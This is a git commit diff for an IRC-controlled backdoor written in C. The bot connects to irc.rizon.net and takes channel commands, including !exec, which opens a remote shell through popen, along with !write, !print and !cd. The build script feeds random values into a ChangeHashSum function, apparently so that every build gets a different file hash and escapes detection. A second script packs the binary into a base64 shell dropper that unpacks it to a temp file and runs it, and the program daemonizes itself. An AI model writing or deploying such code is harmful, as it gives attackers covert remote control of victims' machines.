This commit is contained in:
Your Name 2024-04-27 12:36:45 +03:00
parent c174752597
commit 77d2f3cc76
5 changed files with 22 additions and 20 deletions

View File

@ -1,5 +1,4 @@
CFLAGS="-s -Os -pedantic -Wall -Wextra"
rm main
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM
strip -sx main

View File

@ -1,3 +1,11 @@
#!/bin/sh
./build.sh
echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh
echo "[md5]" $(md5sum main)
payload=$(cat main | base64 | xargs | tr -d " ")
echo "#!/bin/sh" > script.sh
echo "f=\""$payload\" >> script.sh
echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh
chmod +x script.sh

View File

@ -9,5 +9,5 @@ typedef struct {
} SERVER;
SERVER servers[] = {
{1, "irc.rizon.net", 6697, NULL, "#channel", NULL}
{1, "irc.rizon.net", 6697, NULL, "#blbl", NULL}
};

View File

@ -1,5 +1,4 @@
#include <unistd.h>
#include <sys/utsname.h>
#include "backdoor.h"
#include "irc.h"
@ -27,17 +26,6 @@ void parse_cmd(IRCC_client *client) {
else if (!strncmp(client->irc_msg, "!cd", 3))
chdir(client->irc_msg + 4);
else if (!strncmp(client->irc_msg, "!uname", 6)) {
struct utsname uts;
if (uname(&uts) < 0)
return;
char buf[COMMON_BUF_SIZE + 1];
snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
send_info(client, buf);
}
/* Shell */
else if (!strncmp(client->irc_msg, "!exec", 5)) {
if (fp != NULL)
@ -46,7 +34,7 @@ void parse_cmd(IRCC_client *client) {
fp = popen(client->irc_msg + 5, "wr");
}
else if (!strncmp(client->irc_msg, "!print", 5)) {
else if (!strncmp(client->irc_msg, "!print", 6)) {
if (fp == NULL)
return;
@ -59,14 +47,14 @@ void parse_cmd(IRCC_client *client) {
send_info(client, buf);
}
else if (!strncmp(client->irc_msg, "!write", 5)) {
else if (!strncmp(client->irc_msg, "!write", 6)) {
if (fp == NULL)
return;
fputs(client->irc_msg + 5, fp);
}
else if (!strncmp(client->irc_msg, "!close", 5)) {
else if (!strncmp(client->irc_msg, "!close", 6)) {
if (fp == NULL)
return;

View File

@ -6,6 +6,12 @@
#include "irc.h"
#include "cfg.h"
int ChangeHashSum(void) {
int i = VAL1;
int j = VAL2;
return i + j;
}
char *randnick(size_t len) {
char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP";
char *str = malloc(len + 1);
@ -59,6 +65,7 @@ int start(void) {
}
int main(void) {
ChangeHashSum();
daemon(0, 0);
if (fork() == 0) {